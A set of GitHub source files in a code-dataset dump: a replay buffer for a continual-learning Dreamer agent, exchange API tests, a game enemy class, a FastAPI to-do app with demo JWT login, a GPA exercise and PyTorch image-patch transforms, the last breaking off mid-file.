tf.keras.layers.ConvLSTM2D(\n filters=self._coverage_sampling_args[\"filters\"], kernel_size=self._coverage_sampling_args[\"kernel_size\"],\n padding=\"same\", return_sequences=False, return_state=True, activation=\"elu\")\n \n self._episodes_heap = []\n self._lstm_states = {}\n if bool(self._complete_eps):\n for filename, episode in self._complete_eps.items():\n if self._coverage_sampling_args[\"normalize_lstm_state\"]:\n self._lstm_states[str(filename)] = self._replay_cell(tf.expand_dims(np.array(episode['image'])/255,axis=0))[2].numpy().reshape(-1) # LSTM has return_state=True, so it returns three outputs, and last one is a cell state\n self._lstm_states[str(filename)] /= np.linalg.norm(self._lstm_states[str(filename)])\n else:\n self._lstm_states[str(filename)] = self._replay_cell(tf.expand_dims(np.array(episode['image'])/255,axis=0))[2].numpy().reshape(-1) # LSTM has return_state=True, so it returns three outputs, and last one is a cell state\n \n with open(directory/f'coverage_max_heap.pkl', 'rb') as handle:\n self._episodes_heap = pickle.load(handle)\n\n \n @property\n def stats(self):\n ret = {\n 'total_steps': self._total_steps,\n 'total_episodes': self._total_episodes,\n 'loaded_steps': self._loaded_steps,\n 'loaded_episodes': self._loaded_episodes,\n 'av_task': np.mean([v for k, v in self._tasks.items()]),\n 'er_task': [len([v for k, v in self._tasks.items() if v == i]) for i in range(self._num_tasks)],\n }\n # max_task = self.get_max_task()\n # for i in range(max_task + 1):\n # ret['er_task_{0}'.format(i)] = len([v for k, v in self._tasks.items() if v == i])\n return ret\n \n def add_step(self, transition, worker=0):\n episode = self._ongoing_eps[worker]\n for key, value in transition.items():\n episode[key].append(value)\n if transition['is_last']:\n self.add_episode(episode)\n episode.clear()\n\n def add_episode(self, episode):\n length = eplen(episode)\n if length < self._minlen:\n print(f'Skipping short episode of length {length}.')\n return\n self._total_steps += length\n self._loaded_steps += length\n self._total_episodes += 1\n self._loaded_episodes += 1\n episode = {key: convert(value) for key, value in episode.items()}\n task = self.get_task()\n filename = save_episode(self._directory, episode, task, self._total_episodes)\n # add candidate to the replay buffer\n self._complete_eps[str(filename)] = episode\n self._tasks[str(filename)] = task\n self._reward_eps[str(filename)] = episode['reward'].astype(np.float64).sum()\n\n if self._total_episodes % self._uncertainty_recalculation == 0:\n self._episodes_uncertainties.clear()\n\n if self._coverage_sampling:\n if self._coverage_sampling_args[\"normalize_lstm_state\"]:\n self._lstm_states[str(filename)] = self._replay_cell(tf.expand_dims(np.array(episode['image'])/255,axis=0))[2].numpy().reshape(-1) # LSTM has return_state=True, so it returns three outputs, and last one is a cell state\n self._lstm_states[str(filename)] /= np.linalg.norm(self._lstm_states[str(filename)])\n else:\n self._lstm_states[str(filename)] = self._replay_cell(tf.expand_dims(np.array(episode['image'])/255,axis=0))[2].numpy().reshape(-1) # LSTM has return_state=True, so it returns three outputs, and last one is a cell state\n\n if len(self._episodes_heap) == 0 and self._total_episodes != 0: \n # In this line, we initialize the priority queue with some arbitrary priority value\n heapq.heappush(self._episodes_heap, (1, str(filename))) # A 'heapq' is a priority queue -- a special type of queue in which each element is associated with a priority value.\n self._complete_eps[str(filename)] = episode\n else:\n if self._loaded_steps < self._capacity:\n start = time.time()\n distances = [coverage_maximization_distance(self._lstm_states[str(filename)], self._lstm_states[str(replay_files)], self._coverage_sampling_args['distance'])\n for replay_files in np.random.choice(list(self._lstm_states.keys()), np.min((len(list(self._lstm_states.keys())),\n self._coverage_sampling_args[\"number_of_comparisons\"])), replace=False)]\n distance_metric = np.median(distances)\n end = time.time() - start\n heapq.heappush(self._episodes_heap, (distance_metric, str(filename)))\n self._complete_eps[str(filename)] = episode\n elif self._loaded_steps >= self._capacity:\n start = time.time()\n distances = [coverage_maximization_distance(self._lstm_states[str(filename)], self._lstm_states[str(replay_files)], self._coverage_sampling_args['distance'])\n for replay_files in np.random.choice(list(self._lstm_states.keys()),np.min((len(list(self._lstm_states.keys())),\n self._coverage_sampling_args[\"number_of_comparisons\"])), replace=False)]\n distance_metric = np.median(distances)\n end = time.time() - start\n\n # In the line below, we add a new episode with the corresponding distance metric to the heapq, and next, remove the episode with the smallest distance.\n priority, filename_remove = heapq.heappushpop(self._episodes_heap,(distance_metric, str(filename)))\n episode_remove = self._complete_eps[str(filename_remove)]\n self._loaded_steps -= eplen(episode_remove)\n self._loaded_episodes -= 1\n del self._complete_eps[str(filename_remove)]\n del self._tasks[str(filename_remove)]\n del self._reward_eps[str(filename_remove)]\n del self._lstm_states[str(filename_remove)]\n self._logger.scalar(\"replay_cm/total_steps\", self._total_steps)\n self._logger.scalar(\"replay_cm/distances_time\", end)\n self._logger.scalar(\"replay_cm/total_episodes\", self._total_episodes)\n self._logger.scalar(\"replay_cm/distances_min\", np.min(distances))\n self._logger.scalar(\"replay_cm/distances_max\", np.max(distances))\n self._logger.scalar(\"replay_cm/distances_mean\", np.mean(distances))\n self._logger.scalar(\"replay_cm/distances_median\", np.median(distances))\n self._logger.scalar(\"replay_cm/distances_percentile75\", np.percentile(distances, 75))\n self._logger.scalar(\"replay_cm/distances_percentile25\", np.percentile(distances, 25))\n with open(self._directory/f'coverage_max_heap.pkl', 'wb') as handle:\n pickle.dump(self._episodes_heap, handle, protocol=pickle.HIGHEST_PROTOCOL)\n elif self._reservoir_sampling:\n # Alg 2 from https://arxiv.org/pdf/1902.10486.pdf\n if self._loaded_steps < self._capacity:\n self._complete_eps[str(filename)] = episode\n else:\n # self._total_episodes: the total number of episodes seen so far\n i = np.random.randint(self._total_episodes)\n # this condition is should be if i < mem_sz, mem_sz is in number of \n # transitions, but experience is stored in terms of episodes\n # self._loaded_episodes is a surrogate\n\n # we need to correct self._loaded_episodes\n # since we have incremented self._loaded_episodes without adding a filename\n # to self._complete_eps\n if i < self._loaded_episodes:\n # remove item i from the replay buffer\n # it can be re-loaded if the run starts again\n # so need store an additional dictionary to store on disk to keep track of\n # of the reservoir.\n filenames = [k for k, v in self._complete_eps.items()]\n filename_remove = filenames[i]\n episode_remove = self._complete_eps[str(filename_remove)]\n self._loaded_steps -= eplen(episode_remove)\n self._loaded_episodes -= 1\n del self._complete_eps[str(filename_remove)]\n del self._tasks[str(filename_remove)]\n del self._reward_eps[str(filename_remove)]\n if str(filename_remove) in self._episodes_uncertainties:\n del self._episodes_uncertainties[str(filename_remove)]\n with open(self._directory/f'rs_buffer.pkl', 'wb') as handle:\n pickle.dump(list(self._complete_eps.keys()), handle, protocol=pickle.HIGHEST_PROTOCOL)\n self._enforce_limit()\n\n def dataset(self, batch, length):\n example = next(iter(self._generate_chunks(length)))\n dataset = tf.data.Dataset.from_generator(\n lambda: self._generate_chunks(length),\n {k: v.dtype for k, v in example.items()},\n {k: v.shape for k, v in example.items()})\n dataset = dataset.batch(batch, drop_remainder=True)\n dataset = dataset.prefetch(5)\n return dataset\n\n def _generate_chunks(self, length):\n sequence = self._sample_sequence()\n while True:\n chunk = collections.defaultdict(list)\n added = 0\n while added < length:\n needed = length - added\n adding = {k: v[:needed] for k, v in sequence.items()}\n sequence = {k: v[needed:] for k, v in sequence.items()}\n for key, value in adding.items():\n chunk[key].append(value)\n added += len(adding['action'])\n if len(sequence['action']) < 1:\n sequence = self._sample_sequence()\n chunk = {k: np.concatenate(v) for k, v in chunk.items()}\n yield chunk\n\n def _sample_sequence(self):\n episodes_keys = list(self._complete_eps.keys())\n if self._ongoing:\n episodes_keys += [\n k for k, v in self._ongoing_eps.items()\n if eplen(v) >= self._minlen]\n if self._reward_sampling:\n rewards = list(self._reward_eps.values())\n # if there is a mismatch in lengths lets sync the rewards with self._complete_eps()\n if len(rewards) != len(episodes_keys):\n print(\"Syncing eps _reward_eps and _complete_eps\")\n _, _, self._reward_eps = load_episodes(self._directory,\n self.capacity, self.minlen, self._coverage_sampling, self._coverage_sampling_args, check=False)\n rewards = list(self._reward_eps.values())\n e_r = np.exp(rewards - np.max(rewards))\n rewards_norm = e_r / e_r.sum()\n episode_key = self._random.choice(episodes_keys, p=rewards_norm)\n elif self.recent_past_sampl_thres > np.random.random():\n episode_key = episodes_keys[\n int(np.floor(np.random.triangular(0, len(episodes_keys), len(episodes_keys), 1)))\n ]\n elif self._uncertainty_sampling:\n self._check_if_uncertainties_available()\n uncertainties = np.array(list(self._episodes_uncertainties.values()))\n e_unc = np.exp(uncertainties - np.max(uncertainties))\n uncertainty_norm = e_unc / e_unc.sum()\n episode_key = np.random.choice(\n uncertainties,\n p=uncertainty_norm\n )\n self._logger.scalar(\"replay/uncertainty\", self._episodes_uncertainties[episode_key])\n else:\n episode_key = self._random.choice(episodes_keys)\n\n episode = self._complete_eps[episode_key]\n info = parse_episode_name(episode_key)\n self._logger.scalar(\"replay/total_episode\", info['total_episodes'])\n self._logger.scalar(\"replay/task\", info['task'])\n\n total = len(episode['action'])\n length = total\n if self._maxlen:\n length = min(length, self._maxlen)\n # Randomize length to avoid all chunks ending at the same time in case the\n # episodes are all of the same length.\n length -= np.random.randint(self._minlen)\n length = max(self._minlen, length)\n upper = total - length + 1\n if self._prioritize_ends:\n upper += self._minlen\n index = min(self._random.randint(upper), total - length)\n sequence = {\n k: convert(v[index: index + length])\n for k, v in episode.items() if not k.startswith('log_')}\n sequence['is_first'] = np.zeros(len(sequence['action']), np.bool)\n sequence['is_first'][0] = True\n if self._maxlen:\n assert self._minlen <= len(sequence['action']) <= self._maxlen\n return sequence\n\n def _check_if_uncertainties_available(self):\n keys_to_use = list(self._complete_eps.keys())\n\n # Check if we have uncertanity value for every episode\n for i, ep_key in enumerate(keys_to_use):\n if self._episodes_uncertainties.get(ep_key, None) is None:\n ep_expanded = {\n key: np.expand_dims(elem, 0)\n for key, elem in self._complete_eps[ep_key].items()\n }\n inputs = self.agent.wm.forward(ep_expanded, None)\n\n if self.agent._task_behavior.config.disag_action_cond:\n action = tf.cast(ep_expanded[\"action\"], inputs.dtype)\n inputs = tf.stop_gradient(tf.concat([inputs, action], -1))\n\n preds = [head(inputs).mode() for head in self.agent._expl_behavior._networks]\n disag = tf.Tensor(preds).std(0).mean(-1)\n ep_uncertainty = np.mean(disag.cpu().numpy())\n self._episodes_uncertainties[ep_key] = ep_uncertainty\n\n def _enforce_limit(self):\n if not self._capacity:\n return\n while self._loaded_episodes > 1 and self._loaded_steps > self._capacity:\n # Relying on Python preserving the insertion order of dicts.\n if self._coverage_sampling:\n _, candidate = heapq.heappop(self._episodes_heap)\n episode = self._complete_eps[str(candidate)]\n del self._lstm_states[str(candidate)]\n elif self._reservoir_sampling:\n candidate, episode = random.sample(self._complete_eps.items(), 1)[0]\n else:\n # Relying on Python preserving the insertion order of dicts.\n # first-in-first-out\n candidate, episode = next(iter(self._complete_eps.items()))\n self._loaded_steps -= eplen(episode)\n self._loaded_episodes -= 1\n del self._complete_eps[str(candidate)]\n del self._tasks[str(candidate)]\n del self._reward_eps[str(candidate)]\n if str(candidate) in self._episodes_uncertainties:\n del self._episodes_uncertainties[str(candidate)]\n \n if self._coverage_sampling:\n with open(self._directory/f'coverage_max_heap.pkl', 'wb') as handle:\n pickle.dump(self._episodes_heap, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n if self._reservoir_sampling:\n with open(self._directory/f'rs_buffer.pkl', 'wb') as handle:\n pickle.dump(list(self._complete_eps.keys()), handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n @property\n def agent(self):\n return self._plan2explore\n\n @agent.setter\n def agent(self, plan2explore):\n self._plan2explore = plan2explore\n\n @property\n def logger(self):\n return self._logger\n\n @agent.setter\n def logger(self, logger):\n self._logger = logger \n \ndef count_episodes(directory):\n filenames = list(directory.glob(\"*.npz\"))\n num_episodes = len(filenames)\n\n if num_episodes > 0:\n assert (\n len(str(os.path.basename(filenames[0])).split(\"-\")) == 5\n ), \"Probably filenames are not in following format: f'{timestamp}-{identifier}-{task}-{length}-{total_episodes}.npz'\"\n num_steps = sum(int(str(os.path.basename(n)).split(\"-\")[3]) - 1 for n in filenames)\n return num_episodes, num_steps\n\n\n\ndef save_episode(directory, episode, task, total_episodes):\n timestamp = datetime.datetime.now().strftime('%Y%m%dT%H%M%S')\n identifier = str(uuid.uuid4().hex)\n length = eplen(episode)\n filename = directory / f'{timestamp}-{identifier}-{task}-{length}-{total_episodes}.npz'\n with io.BytesIO() as f1:\n np.savez_compressed(f1, **episode)\n f1.seek(0)\n with filename.open('wb') as f2:\n f2.write(f1.read())\n return filename\n\n\ndef load_episodes(directory, capacity=None, minlen=1, coverage_sampling=False, coverage_sampling_args=None, check=False):\n # The returned directory from filenames to episodes is guaranteed to be in\n # temporally sorted order.\n filenames = sorted(directory.glob('*.npz'))\n if coverage_sampling and os.path.exists(directory/f'coverage_max_heap.pkl'):\n with open(directory/f'coverage_max_heap.pkl', 'rb') as handle:\n _episodes_heap = pickle.load(handle)\n filenames = list(zip(*_episodes_heap))[1]\n\n if capacity:\n num_steps = 0\n num_episodes = 0\n # we are going to only fetch the most recent\n # if we are doing reservoir sampling a random shuffle of the replay buffer \n # will preserve and uniform distribution over all tasks\n if os.path.exists(directory/f'rs_buffer.pkl'):\n with open(directory/f'rs_buffer.pkl', 'rb') as handle:\n filenames = pickle.load(handle)\n filenames = [pathlib.Path(filename) for filename in filenames]\n for filename in reversed(filenames):\n length = int(str(os.path.basename(filename)).split('-')[3])\n num_steps += length\n num_episodes += 1\n if num_steps >= capacity:\n break\n filenames = filenames[-num_episodes:]\n episodes = {}\n tasks = {}\n rewards_eps = {}\n for filename in filenames:\n try:\n with filename.open('rb') as f:\n episode = np.load(f)\n episode = {k: episode[k] for k in episode.keys()}\n except Exception as e:\n print(f'Could not load episode {str(filename)}: {e}')\n continue\n episodes[str(filename)] = episode\n task = int(str(os.path.basename(filename)).split('-')[2])\n tasks[str(filename)] = task\n rewards_eps[str(filename)] = episode['reward'].astype(np.float64).sum()\n\n # Collas rebuttal check for duplicate episodes\n # First run a CL run without deleteing the replay buffer\n # Then re-run it again with the the check flag manually turned on\n if check:\n i = 0\n for filename, episode in episodes.items():\n print(\"[{0} / {1}] eps checked\".format(i, len(episodes)))\n episodes_comparison = episodes.copy()\n j = 0\n for filename2, episode2 in episodes_comparison.items():\n # only select episodes which we haven't compared to\n # also let's not compare the episode to itself\n if j <= i:\n j += 1\n continue\n\n episode_elements_equals = 0\n for key, value in episode2.items():\n if np.array_equal(episode[key], value):\n episode_elements_equals += 1\n else:\n break\n if episode_elements_equals == len(episode2):\n raise ValueError(f'Episode {filename} and {filename2} are the same')\n j += 1\n i += 1\n sys.exit(\"Finished check\")\n \n return episodes, tasks, rewards_eps\n\ndef parse_episode_name(episode_name):\n episode_name = os.path.basename(episode_name)\n parts = episode_name.split(\"-\")\n timestamp = parts[0]\n identifier = parts[1]\n task = parts[2]\n length = parts[3]\n total_episodes = parts[4] if len(parts) == 5 else None\n if len(parts) == 5:\n total_episodes = total_episodes.split(\".\")[0]\n elif len(parts) == 4:\n length = length.split(\".\")[0]\n\n return {\n \"timestamp\": timestamp,\n \"identifier\": identifier,\n \"task\": int(task),\n \"length\": int(length),\n \"total_episodes\": int(total_episodes) if total_episodes else np.nan,\n }\n\ndef convert(value):\n value = np.array(value)\n if np.issubdtype(value.dtype, np.floating):\n return value.astype(np.float32)\n elif np.issubdtype(value.dtype, np.signedinteger):\n return value.astype(np.int32)\n elif np.issubdtype(value.dtype, np.uint8):\n return value.astype(np.uint8)\n return value\n\n\ndef eplen(episode):\n return len(episode['action']) - 1\n","repo_name":"skezle/continual-dreamer","sub_path":"dreamerv2/common/replay.py","file_name":"replay.py","file_ext":"py","file_size_in_byte":25254,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"19"} +{"seq_id":"12299567982","text":"# coding=utf-8\n\nimport asyncio\nimport pathmagic\n\nfrom dao_quote.util.exchange_api.fcoin import api_fc\n\n\nasync def test_async_ticker():\n symbol = 'btc_usdt'\n rst = await api_fc.async_ticker(symbol)\n print(rst)\n\n\nasync def test_async_depth():\n symbol = 'btc_usdt'\n level = 'L20'\n rst = await api_fc.async_depth(symbol, level)\n print(rst)\n\n\nasync def test_async_kline():\n symbol = 'btc_usdt'\n period = 'M1'\n rst = await api_fc.async_kline(symbol, period)\n print(rst)\n\n\ndef test_ticker():\n symbol = 'btc_usdt'\n rst = api_fc.ticker(symbol)\n print(rst)\n\n\ndef test_depth():\n symbol = 'btc_usdt'\n level = 'L20'\n rst = api_fc.depth(symbol, level)\n print(rst)\n\n\ndef test_kline():\n symbol = 'btc_usdt'\n period = 'M1'\n rst = api_fc.kline(symbol, period)\n print(rst)\n\n\ndef main():\n # tasks = []\n # tasks.append(test_async_ticker())\n # tasks.append(test_async_depth())\n # tasks.append(test_async_kline())\n # loop = asyncio.get_event_loop()\n # loop.run_until_complete(asyncio.gather(*tasks))\n # test_ticker()\n # test_depth()\n # test_kline()\n print('test pass')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Maxwellpower1/fsb","sub_path":"dao_quote/tests/util/exchange_api/fcoin/test_api_fc.py","file_name":"test_api_fc.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"45828664178","text":"\"\"\"module that has enemy classes\"\"\"\nfrom random import randint\nfrom math import sqrt\nfrom entities.enemy import Enemy\nfrom shootables.sharp_bullet import SharpBullet\n\n\nclass Sharp(Enemy):\n \"\"\"\n basic enemy class, bounces around the screen kills the player if touched,\n also shoot dangerous projectiles\n \"\"\"\n\n def __init__(self, x_pos: int, y_pos: int, bullet_list, sprite_group):\n \"\"\"\n constructor for the enemy class\n\n Args:\n x_pos: horizontal postion of enemy\n y_pos: vertical postion of enemy\n sprite_group: a sprite group where enemy resides\n bullet_list: a sprite group where bullets are stored\n \"\"\"\n\n super().__init__(x_pos, y_pos, \"Sharp\")\n\n self.shoot_cooldown = randint(60, 200)\n\n self.sprite_group = sprite_group\n self.enemy_bullets = bullet_list\n\n def update(self, player):\n \"\"\"\n updates the enemies position, changes corresponding\n speeds direction if wall is hit, also makes enemy shoot\n the player if possible\n\n Args:\n player: \n \"\"\"\n\n self.rect.move_ip(self.x_speed, self.y_speed)\n self.shoot(player)\n\n if not 0 < self.rect[0] < 512 - self.width:\n self.x_speed *= -1\n\n if not 0 < self.rect[1] < 800 - self.length:\n self.y_speed *= -1\n\n def points(self):\n \"\"\"retruns points the enemy gives, checked when enemy is killed\"\"\"\n return 200\n\n def shoot(self, player):\n \"\"\"\n The shooting mwthod of the class if cooldown is on, it decrements it\n otherwise it calculates the speed of the bullet and creates a bullet\n instance that is added into all of the sharps groups\n\n Args:\n player: the user entity\n \"\"\"\n\n if self.shoot_cooldown > 0:\n self.shoot_cooldown -= 1\n else:\n bullet_speed = self.calculate_bullet_speed(player)\n bullet = SharpBullet(\n self.rect[0] + self.rect[2]//2,\n self.rect[1] + self.rect[3]//2,\n bullet_speed[0],\n bullet_speed[1]\n )\n self.enemy_bullets.add(bullet)\n self.sprite_group.add(bullet)\n self.shoot_cooldown = randint(30, 200)\n\n def calculate_bullet_speed(self, player):\n \"\"\"\n calculates the speed vector for a shot bullet that\n has the lenght of 3\n\n Args:\n player: the user entity\n \"\"\"\n\n if player.rect == self.rect:\n return (0, 0)\n\n player_pos = player.get_position()\n own_pos = (self.rect[0] + self.rect[2]//2,\n self.rect[1] + self.rect[3]//2)\n\n horizontal_diff = player_pos[0] - own_pos[0]\n diagonal_diff = player_pos[1] - own_pos[1]\n\n normalizer = 1/sqrt(horizontal_diff**2 + diagonal_diff**2)\n\n x_speed = 3 * normalizer * horizontal_diff\n y_speed = 3 * normalizer * diagonal_diff\n\n return (x_speed, y_speed)\n","repo_name":"ReimKuos/ot-harjoitustyo","sub_path":"src/entities/sharp.py","file_name":"sharp.py","file_ext":"py","file_size_in_byte":3030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"40813296291","text":"class Solution:\n def countGoodSubstrings(self, s: str) -> int:\n\n count = 0\n\n for index in range(len(s) - 2):\n if s[index] in s[index+1:index+3] or s[index+1] == s[index+2]:\n continue\n else:\n count += 1\n\n return count","repo_name":"yashwanthrk/Leetcode-practice","sub_path":"problems/substrings_of_size_three_with_distinct_characters/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"1017040939","text":"from fastapi import FastAPI, HTTPException, Body, Depends\nfrom fastapi.middleware.cors import CORSMiddleware\n\nfrom model import ToDo, User, Login\nimport database\nfrom auth.jwt_handler import sign_jwt\nfrom auth.jwt_bearer import JwtBearer\n\napp = FastAPI()\napp.add_middleware(\n CORSMiddleware,\n allow_origins=['*'], # Allow all for debug purposes ['http://localhost:3000']\n allow_credentials=True,\n allow_methods=['*'],\n allow_headers=['*']\n)\n\n# 'Demo' user 'DB' to test signup/login functions\nusers = []\n\n\n@app.get('/', tags=['Test']) # 'tags' is used to group APIs in '/docs/' web interface.\nasync def root():\n return {\n 'message': 'Hello API world! fastapi-farm-fcc serving: simple ToDos API.'\n }\n\n\n@app.get('/all-todos/', tags=['ToDos'])\nasync def get_all_todos():\n response = await database.get_all_todos()\n return response\n\n\n@app.get('/todo/{todo_id}', response_model=ToDo, tags=['ToDos'])\nasync def get_todo(todo_id):\n response = await database.get_todo(todo_id)\n if response:\n return response\n raise HTTPException(status_code=404,\n detail=f'No todos with id={todo_id}')\n\n\n@app.post('/add-todo/', response_model=ToDo, # NB: There should be NO {}s in URL when you pass class!!!\n tags=['ToDos'])\n# @app.post('/add-to do/{To Do}', response_model=To Do) # This is WRONG, caused bugs with frontend!\nasync def add_todo(todo: ToDo):\n response = await database.add_todo(todo)\n if response:\n return response\n raise HTTPException(status_code=400,\n detail='Something went wrong - Cant add todo - Bad request.')\n\n\n@app.put('/edit-todo/{ToDo}', response_model=ToDo, tags=['ToDos']) # nb: PUT verb for update\nasync def edit_todo(todo: ToDo): # we assume that we get *edited* to-do\n response = await database.edit_todo(todo_id=todo.id,\n new_title=todo.title,\n new_description=todo.description)\n if response:\n return response\n raise HTTPException(status_code=404,\n detail=f'No todos with id={todo.id}')\n\n\n@app.delete('/delete-todo/{todo_id}', tags=['ToDos'])\nasync def delete_todo(todo_id):\n response = await database.delete_todo(todo_id=todo_id)\n if response:\n return {\n 'status': 'success',\n 'id': todo_id\n }\n raise HTTPException(status_code=404,\n detail=f'No todos with id={todo_id}')\n\n\n@app.post('/user/signup/', tags=['User Management'])\nasync def user_sign_up(new_user: User = Body(default=None)):\n \"\"\"\n Add a new user. Contents of passed info checked by pydantic, as always.\n \"\"\"\n users.append(new_user)\n return sign_jwt(new_user.email)\n\n\ndef check_user(user: Login):\n \"\"\"\n Check if user 'registered' in our API.\n \"\"\"\n for i_user in users:\n if i_user.email == user.email and i_user.password == user.password:\n return True\n return False\n\n\n@app.post('/user/login/', tags=['User Management'])\nasync def user_login(login: Login = Body(default=None)):\n if check_user(login):\n return sign_jwt(login.email)\n else:\n return {\n 'error': 'Invalid user credentials.'\n }\n\n\n@app.get('/user/info/{user_email}',\n dependencies=[Depends(JwtBearer())], # nb!\n tags=['User Management'])\nasync def user_info(user_email: str):\n \"\"\"\n This is to test login/logout functions are working properly.\n \"\"\"\n for user in users:\n if user.email == user_email:\n return user.json()\n return {\n 'error': 'No user with such email registered.'\n }\n","repo_name":"hazadus/fastapi-farm-fcc","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3664,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"70330026603","text":"class GPA:\n def __init__(self):\n self.gpa = 0\n\n def get_gpa(self):\n return self.gpa\n\n def set_gpa(self, gpa):\n if gpa < 0.0:\n self.gpa = 0.0\n else:\n self.gpa = gpa\n\n def get_letter(self):\n if self.gpa < 0.99:\n return \"F\"\n elif self.gpa <= 1.99:\n return \"D\"\n elif self.gpa <= 2.99:\n return \"C\"\n elif self.gpa <= 3.99:\n return \"B\"\n else:\n return \"A\"\n\n def set_letter(self, letter):\n if letter == \"A\":\n self.gpa = 4.0\n elif letter == \"B\":\n self.gpa = 3.0\n elif letter == \"C\":\n self.gpa == 2.0\n elif letter == \"D\":\n self.gpa = 1.0\n elif letter == \"F\":\n self.gpa = 0.0\n\n\n\ndef main():\n student = GPA()\n\n print(\"Initial values:\")\n print(\"GPA: {:.2f}\".format(student.get_gpa()))\n print(\"Letter: {}\".format(student.get_letter()))\n\n value = float(input(\"Enter a new GPA: \"))\n\n student.set_gpa(value)\n\n print(\"After setting value:\")\n print(\"GPA: {:.2f}\".format(student.get_gpa()))\n print(\"Letter: {}\".format(student.get_letter()))\n\n letter = input(\"Enter a new letter: \")\n\n student.set_letter(letter)\n\n print(\"After setting letter:\")\n print(\"GPA: {:.2f}\".format(student.get_gpa()))\n print(\"Letter: {}\".format(student.get_letter()))\n\nif __name__ == \"__main__\":\n main()","repo_name":"Chris-m41/CS241","sub_path":"check08a.py","file_name":"check08a.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"42846968736","text":"import torchvision.transforms as Transforms\n# import numpy as np\n# import dlib\nimport torch\nimport logging\n\n#\n# class PILTransforms:\n# @staticmethod\n# def crop_face():\n# def crop(image):\n# image_ary = np.array(image)\n#\n# # detect and crop face\n# detector = dlib.get_frontal_face_detector()\n# det = detector(image_ary)\n#\n# if len(det) > 0:\n# d = det[0]\n#\n# box = (d.left(), d.top(), d.right(), d.bottom())\n#\n# image = image.crop(box)\n#\n# return image\n#\n# return Transforms.Lambda(crop)\n\n\nclass SlidingWindowTransformClass:\n def __init__(self, size, step=None, threshold=None):\n self.size = size\n self.step = size if step is None else step\n self.threshold = threshold\n self.comp = lambda _, __: True\n\n sliding_window = None\n if threshold is None:\n sliding_window = self.get_sliding_window_simple()\n else:\n sliding_window = self.get_sliding_window_with_threshold()\n\n self.transform = Transforms.Lambda(sliding_window)\n\n def get_sliding_window_with_threshold(self):\n assert self.threshold is not None, \"Threshold can't be none\"\n self.comp = lambda mean, min: mean < min\n if type(self.threshold) is tuple:\n self.comp = lambda mean, value: mean < value[0] or mean > value[1]\n\n def sliding_window(x):\n # unfold dimension to make our rolling window\n windows = x.unfold(1, self.size, self.step).unfold(2, self.size, self.step)\n patches = []\n for i in range(len(windows[0, :, 0, 0, 0])):\n for n in range(len(windows[0, 0, :, 0, 0])):\n if not self.comp(torch.mean(windows[0, i, n, :, :]), self.threshold):\n patches.append(windows[0, i, n, :, :])\n else:\n logging.debug('discarded patch [{}|{}]'.format(i, n))\n del windows\n\n if len(patches) > 0:\n patches = torch.stack(patches)\n return patches\n else:\n logging.info('no patches found with threshold {}'.format(self.threshold))\n self.threshold *= 1.01\n if self.threshold > 1:\n logging.error('no patches found with threshold {}'.format(self.threshold))\n return torch.Tensor()\n return sliding_window(x, self.threshold)\n return sliding_window\n\n def get_sliding_window_simple(self):\n def sliding_window(x):\n # unfold dimension to make our rolling window\n windows = x.unfold(1, self.size, self.step).unfold(2, self.size, self.step)\n patches = []\n for i in range(len(windows[0, :, 0, 0, 0])):\n for n in range(len(windows[0, 0, :, 0, 0])):\n patches.append(windows[0, i, n, :, :])\n del windows\n\n patches = torch.stack(patches)\n return patches\n return sliding_window\n\n def __call__(self, *args, **kwargs):\n return self.transform(*args)\n\n\nclass CombiningWindowTransformClass:\n def __init__(self, size, step):\n # self.width, self.height = size if len(size) >= 2 else size, size\n self.width, self.height = size\n self.step = step\n\n combining_window = self.get_combining_window()\n\n self.transform = Transforms.Lambda(combining_window)\n\n def get_combining_window(self):\n # def combining_window(images):\n # fold = torch.nn.Fold((self.height, self.width), kernel_size=(self.step, self.step))\n # img = fold(images)\n # return img\n\n def combining_window(images):\n reconstructed = torch.Tensor(self.height, self.width)\n x = 0\n y = 0\n width = self.width // self.step\n height = self.height // self.step\n y_start = y * self.step\n y_end = (y + 1) * self.step\n for p in images:\n x_start = x * self.step\n x_end = (x + 1) * self.step\n\n if x_end > self.width:\n p = p[:self.step, :self.width - x_start]\n # if not x_end > self.width:\n # reconstructed[y_start:y_end, x_start:x_end] = p\n reconstructed[y_start:y_end, x_start:x_end] = p\n\n x += 1\n if x >= width:\n if y >= height:\n break\n x = 0\n y += 1\n y_start = y * self.step\n y_end = (y + 1) * self.step\n return reconstructed\n return combining_window\n\n def __call__(self, *args, **kwargs):\n return self.transform(*args)\n\n\nclass DualTransforms:\n def __init__(self, transforms, shared_transforms=None, shared_transforms_post=None):\n if isinstance(transforms, (list, tuple)):\n transforms = Transforms.Compose(transforms)\n if isinstance(shared_transforms, (list, tuple)):\n shared_transforms = Transforms.Compose(shared_transforms)\n if isinstance(shared_transforms_post, (list, tuple)):\n shared_transforms_post = Transforms.Compose(shared_transforms_post)\n self.transforms = transforms\n self.shared_transfroms = shared_transforms\n self.shared_transforms_post = shared_transforms_post\n\n self.transform = Transforms.Lambda(self.get_dual_transforms())\n\n def get_dual_transforms(self):\n def dual_transforms(x):\n if self.shared_transfroms is not None:\n x, y = self.shared_transfroms(x), self.shared_transfroms(x)\n y = self.transforms(x)\n if self.shared_transforms_post is not None:\n x, y = self.shared_transforms_post(x), self.shared_transforms_post(y)\n return x, y\n return dual_transforms\n\n def __call__(self, *args, **kwargs):\n return self.transform(*args)\n\n\nclass NTransforms:\n def __init__(self, n, shared_transforms=None, transforms=None, shared_transforms_post=None):\n assert 0 < n == len(transforms), \"n must be greater than 0 and len(transforms) must be equal to n\"\n self.transforms = [Transforms.Compose(transform) for transform in transforms]\n\n if isinstance(shared_transforms, (list, tuple)):\n shared_transforms = Transforms.Compose(shared_transforms)\n if isinstance(shared_transforms_post, (list, tuple)):\n 